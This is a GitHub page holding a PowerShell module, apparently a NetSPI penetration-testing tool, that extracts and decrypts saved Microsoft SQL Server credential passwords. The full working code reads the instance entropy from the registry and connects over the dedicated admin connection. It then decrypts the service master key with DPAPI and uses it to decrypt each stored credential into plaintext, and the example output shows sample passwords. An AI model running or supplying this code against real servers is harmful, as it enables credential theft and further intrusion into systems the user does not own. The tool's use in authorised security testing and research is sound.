-
Notifications
You must be signed in to change notification settings - Fork 101
/
Get-MSSQLCredentialPasswords.psm1
138 lines (111 loc) · 5.71 KB
/
Get-MSSQLCredentialPasswords.psm1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
function Get-MSSQLCredentialPasswords{
<#
.SYNOPSIS
Extract and decrypt MSSQL Credentials passwords.
Author: Antti Rantasaari 2014, NetSPI
License: BSD 3-Clause
.DESCRIPTION
Get-MSSQLCredentialPasswords extracts and decrypts the connection credentials for all saved Credentials.
.INPUTS
None
.OUTPUTS
System.Data.DataRow
Returns a datatable consisting of MSSQL instance name, credential name, user account, and decrypted password.
.EXAMPLE
C:\PS> Get-MSSQLCredentialPasswords
Instance Credential User Password
-------- ---------- ---- --------
SQLEXPRESS test test test
SQLEXPRESS user1 user1 Passw0rd01!
SQL2012 user2 user2 Passw0rd01!
SQL2012 VAULT user3 !@#Sup3rS3cr3tP4$$w0rd!!$$
.NOTES
For successful execution, the following configurations and privileges are needed:
- DAC connectivity to MSSQL instances
- Local administrator privileges (needed to access registry key)
- Sysadmin privileges to MSSQL instances
.LINK
http://www.netspi.com/blog/
#>
Add-Type -assembly System.Security
Add-Type -assembly System.Core
# Set local computername and get all SQL Server instances
$ComputerName = $Env:computername
$SqlInstances = (Get-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server' -Name InstalledInstances).InstalledInstances
$Results = New-Object "System.Data.DataTable"
$Results.Columns.Add("Instance") | Out-Null
$Results.Columns.Add("Credential") | Out-Null
$Results.Columns.Add("User") | Out-Null
$Results.Columns.Add("Password") | Out-Null
foreach ($InstanceName in $SqlInstances) {
# Start DAC connection to SQL Server
# Default instance MSSQLSERVER -> instance name cannot be used in connection string
if ($InstanceName -eq "MSSQLSERVER") {
$ConnString = "Server=ADMIN:$ComputerName\;Trusted_Connection=True"
}
else {
$ConnString = "Server=ADMIN:$ComputerName\$InstanceName;Trusted_Connection=True"
}
$Conn = New-Object System.Data.SqlClient.SQLConnection($ConnString);
Try{$Conn.Open();}
Catch{
Write-Error "Error creating DAC connection: $_.Exception.Message"
Continue
}
if ($Conn.State -eq "Open"){
# Query Service Master Key from the database - remove padding from the key
# key_id 102 eq service master key, thumbprint 3 means encrypted with machinekey
$SqlCmd="SELECT substring(crypt_property,9,len(crypt_property)-8) FROM sys.key_encryptions WHERE key_id=102 and (thumbprint=0x03 or thumbprint=0x0300000001)"
$Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
$SmkBytes=$Cmd.ExecuteScalar()
# Get entropy from the registry - hopefully finds the right SQL server instance
$RegPath = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\sql\").$InstanceName
[byte[]]$Entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$RegPath\Security\").Entropy
# Decrypt the service master key
$ServiceKey = [System.Security.Cryptography.ProtectedData]::Unprotect($SmkBytes, $Entropy, 'LocalMachine')
# Choose the encryption algorithm based on the SMK length - 3DES for 2008, AES for 2012
# Choose IV length based on the algorithm
if (($ServiceKey.Length -eq 16) -or ($ServiceKey.Length -eq 32)) {
if ($ServiceKey.Length -eq 16) {
$Decryptor = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider
$IvLen=8
} elseif ($ServiceKey.Length -eq 32){
$Decryptor = New-Object System.Security.Cryptography.AESCryptoServiceProvider
$IvLen=16
}
# Query credential password information from the DB
# Remove header from imageval, extract IV (as iv) and ciphertext (as pass)
# Not sure what valclass and valnum mean, could not find documentation.. but valclass 28 with valnum 2 seems to store the encrypted password
$SqlCmd = "SELECT name,credential_identity,substring(imageval,5,$ivlen) iv, substring(imageval,$($ivlen+5),len(imageval)-$($ivlen+4)) pass from sys.credentials cred inner join sys.sysobjvalues obj on cred.credential_id = obj.objid where valclass=28 and valnum=2"
$Cmd = New-Object System.Data.SqlClient.SqlCommand($SqlCmd,$Conn);
$Data=$Cmd.ExecuteReader()
$Dt = New-Object "System.Data.DataTable"
$Dt.Load($Data)
# Go through each row in results
foreach ($Logins in $Dt) {
# decrypt the password using the service master key and the extracted IV
$Decryptor.Padding = "None"
$Decrypt = $Decryptor.CreateDecryptor($ServiceKey,$Logins.iv)
$Stream = New-Object System.IO.MemoryStream (,$Logins.pass)
$Crypto = New-Object System.Security.Cryptography.CryptoStream $Stream,$Decrypt,"Write"
$Crypto.Write($Logins.pass,0,$Logins.pass.Length)
[byte[]]$Decrypted = $Stream.ToArray()
# convert decrypted password to unicode
$EncodingType = "System.Text.UnicodeEncoding"
$Encode = New-Object $EncodingType
# Print results - removing the weird padding (8 bytes in the front, some bytes at the end)...
# Might cause problems but so far seems to work.. may be dependant on SQL server version...
# If problems arise remove the next three lines..
$i=8
foreach ($b in $Decrypted) {if ($Decrypted[$i] -ne 0 -and $Decrypted[$i+1] -ne 0 -or $i -eq $Decrypted.Length) {$i -= 1; break;}; $i += 1;}
$Decrypted = $Decrypted[8..$i]
$Results.Rows.Add($InstanceName,$($Logins.name),$($Logins.credential_identity),$($Encode.GetString($Decrypted))) | Out-Null
}
} else {
Write-Error "Unknown key size"
}
$Conn.Close();
}
}
$Results
}